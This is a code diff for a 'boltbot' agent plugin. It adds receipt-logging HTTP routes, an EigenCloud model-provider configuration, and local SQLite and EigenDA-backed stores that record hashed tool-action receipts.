const limit = Math.min(Math.max(parseInt(query.limit ?? "50", 10) || 50, 1), 500);
const offset = Math.max(parseInt(query.offset ?? "0", 10) || 0, 0);
const receipts = await store.list({ limit, offset });
jsonResponse(res, 200, { receipts });
},
});
api.registerHttpRoute({
path: "/boltbot/receipt",
handler: async (req, res) => {
const query = parseQuery(req.url ?? "");
const id = query.id;
if (!id) {
jsonResponse(res, 400, { error: "missing_id" });
return;
}
const receipt = await store.get(id);
if (!receipt) {
jsonResponse(res, 404, { error: "not_found" });
return;
}
jsonResponse(res, 200, { receipt });
},
});
api.registerHttpRoute({
path: "/boltbot/stats",
handler: async (_req, res) => {
const stats = await store.stats();
jsonResponse(res, 200, stats);
},
});
}

View File

@ -0,0 +1,67 @@
import type { ProviderPlugin } from "../../../src/plugins/types.js";
export const eigenCloudProvider: ProviderPlugin = {
id: "eigencloud",
label: "EigenCloud (EigenAI)",
docsPath: "/providers/eigencloud",
aliases: ["eigenai", "eigen"],
envVars: ["EIGENCLOUD_API_KEY"],
auth: [
{
id: "eigencloud-api-key",
label: "EigenCloud API Key",
hint: "Get your key at developers.eigencloud.xyz",
kind: "api_key",
async run(_ctx) {
const apiKey = process.env.EIGENCLOUD_API_KEY;
if (!apiKey) {
return {
profiles: [],
notes: [
"Set EIGENCLOUD_API_KEY env var. Apply at developers.eigencloud.xyz",
],
};
}
return {
profiles: [
{
profileId: "eigencloud",
credential: { type: "api_key", key: apiKey },
},
],
configPatch: {
models: {
providers: {
eigencloud: {
baseUrl: "https://eigenai.eigencloud.xyz/v1",
apiKey,
api: "openai-completions",
headers: {
"x-api-key": apiKey,
},
models: [
{
id: "gpt-oss-120b-f16",
name: "EigenAI GPT-OSS 120B",
reasoning: false,
input: ["text"],
contextWindow: 128_000,
maxTokens: 8_192,
cost: {
input: 0,
output: 0,
cacheRead: 0,
cacheWrite: 0,
},
},
],
},
},
},
} as any,
defaultModel: "gpt-oss-120b-f16",
};
},
},
],
};

View File

@ -0,0 +1,37 @@
import { createHash } from "node:crypto";
import { LocalReceiptStore } from "./stores/local.js";
export interface ActionReceipt {
id: string;
timestamp: string;
sessionKey: string;
tier: "low" | "medium" | "high";
toolName: string;
argumentsHash: string;
resultHash: string;
success: boolean;
durationMs: number;
anomalies: string[];
daCommitment?: string;
}
export interface ReceiptStore {
put(receipt: ActionReceipt): Promise<void>;
get(id: string): Promise<ActionReceipt | null>;
list(opts: { limit: number; offset: number }): Promise<ActionReceipt[]>;
stats(): Promise<{ total: number; byTier: Record<string, number>; anomalyCount: number }>;
}
export function createReceiptStore(backend?: string): ReceiptStore {
if (backend === "eigenda") {
const { EigenDAReceiptStore } = require("./stores/eigenda.js");
return new EigenDAReceiptStore(process.env.EIGENDA_PROXY_URL!);
}
return new LocalReceiptStore();
}
export function hashData(data: unknown): string {
return createHash("sha256")
.update(JSON.stringify(data ?? ""))
.digest("hex");
}

View File

@ -0,0 +1,42 @@
import type { ActionReceipt, ReceiptStore } from "../receipt-store.js";
import { LocalReceiptStore } from "./local.js";
export class EigenDAReceiptStore implements ReceiptStore {
private proxyUrl: string;
private localIndex: LocalReceiptStore;
constructor(proxyUrl: string, dbPath = "boltbot-eigenda-index.db") {
this.proxyUrl = proxyUrl;
this.localIndex = new LocalReceiptStore(dbPath);
}
async put(receipt: ActionReceipt): Promise<void> {
const blob = Buffer.from(JSON.stringify(receipt));
try {
const res = await fetch(`${this.proxyUrl}/put`, {
method: "POST",
headers: { "Content-Type": "application/octet-stream" },
body: blob,
});
if (res.ok) {
receipt.daCommitment = Buffer.from(await res.arrayBuffer()).toString("hex");
}
} catch {
// DA failure is non-fatal
}
await this.localIndex.put(receipt);
}
async get(id: string): Promise<ActionReceipt | null> {
return this.localIndex.get(id);
}
async list(opts: { limit: number; offset: number }): Promise<ActionReceipt[]> {
return this.localIndex.list(opts);
}
async stats() {
return this.localIndex.stats();
}
}

View File

@ -0,0 +1,79 @@
import Database from "better-sqlite3";
import type { ActionReceipt, ReceiptStore } from "../receipt-store.js";
export class LocalReceiptStore implements ReceiptStore {
private db: Database.Database;
constructor(dbPath = "boltbot-receipts.db") {
this.db = new Database(dbPath);
this.db.exec(`
CREATE TABLE IF NOT EXISTS receipts (
id TEXT PRIMARY KEY,
timestamp TEXT NOT NULL,
session_key TEXT,
tier TEXT NOT NULL,
tool_name TEXT NOT NULL,
arguments_hash TEXT NOT NULL,
result_hash TEXT NOT NULL,
success INTEGER NOT NULL,
duration_ms INTEGER,
anomalies TEXT,
da_commitment TEXT,
created_at TEXT DEFAULT (datetime('now'))
)
`);
}
async put(receipt: ActionReceipt): Promise<void> {
this.db.prepare(`
INSERT OR REPLACE INTO receipts
(id, timestamp, session_key, tier, tool_name, arguments_hash, result_hash, success, duration_ms, anomalies, da_commitment)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`).run(
receipt.id, receipt.timestamp, receipt.sessionKey, receipt.tier,
receipt.toolName, receipt.argumentsHash, receipt.resultHash,
receipt.success ? 1 : 0, receipt.durationMs,
JSON.stringify(receipt.anomalies), receipt.daCommitment ?? null,
);
}
async get(id: string): Promise<ActionReceipt | null> {
const row = this.db.prepare("SELECT * FROM receipts WHERE id = ?").get(id) as any;
return row ? rowToReceipt(row) : null;
}
async list(opts: { limit: number; offset: number }): Promise<ActionReceipt[]> {
const rows = this.db.prepare(
"SELECT * FROM receipts ORDER BY timestamp DESC LIMIT ? OFFSET ?",
).all(opts.limit, opts.offset) as any[];
return rows.map(rowToReceipt);
}
async stats() {
const total = (this.db.prepare("SELECT COUNT(*) as c FROM receipts").get() as any).c;
const byTier = Object.fromEntries(
(this.db.prepare("SELECT tier, COUNT(*) as c FROM receipts GROUP BY tier").all() as any[])
.map((r: any) => [r.tier, r.c]),
);
const anomalyCount = (this.db.prepare(
"SELECT COUNT(*) as c FROM receipts WHERE anomalies != '[]'",
).get() as any).c;
return { total, byTier, anomalyCount };
}
}
function rowToReceipt(row: any): ActionReceipt {
return {
id: row.id,
timestamp: row.timestamp,
sessionKey: row.session_key,
tier: row.tier,
toolName: row.tool_name,
argumentsHash: row.arguments_hash,
resultHash: row.result_hash,
success: row.success === 1,
durationMs: row.duration_ms,
anomalies: JSON.parse(row.anomalies ?? "[]"),
daCommitment: row.da_commitment ?? undefined,
};
}